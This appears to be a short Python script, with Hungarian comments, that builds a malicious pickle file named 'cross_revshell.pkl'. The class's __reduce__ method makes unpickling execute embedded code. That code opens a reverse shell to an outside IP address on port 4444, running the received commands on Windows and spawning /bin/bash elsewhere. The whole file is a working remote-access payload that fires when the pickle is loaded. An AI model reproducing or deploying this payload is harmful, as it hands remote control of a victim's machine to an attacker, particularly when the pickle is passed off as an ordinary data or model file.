File size: 808 Bytes
703b49b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pickle, base64

class CrossPlatformReverseShell:
    def __reduce__(self):
        code = '''import socket,subprocess,os,platform

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("3.64.4.151",4444))

if platform.system() == "Windows":

    while True:

        d=s.recv(1024).decode()

        if not d: break

        p=subprocess.Popen(d,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)

        o,e=p.communicate()

        s.send(o+e)

else:

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    os.system("/bin/bash")

'''
        return (exec, (code,))

# Létrehozás:
with open("cross_revshell.pkl", "wb") as f:
    pickle.dump(CrossPlatformReverseShell(), f)

print("✅ cross_revshell.pkl elkészült")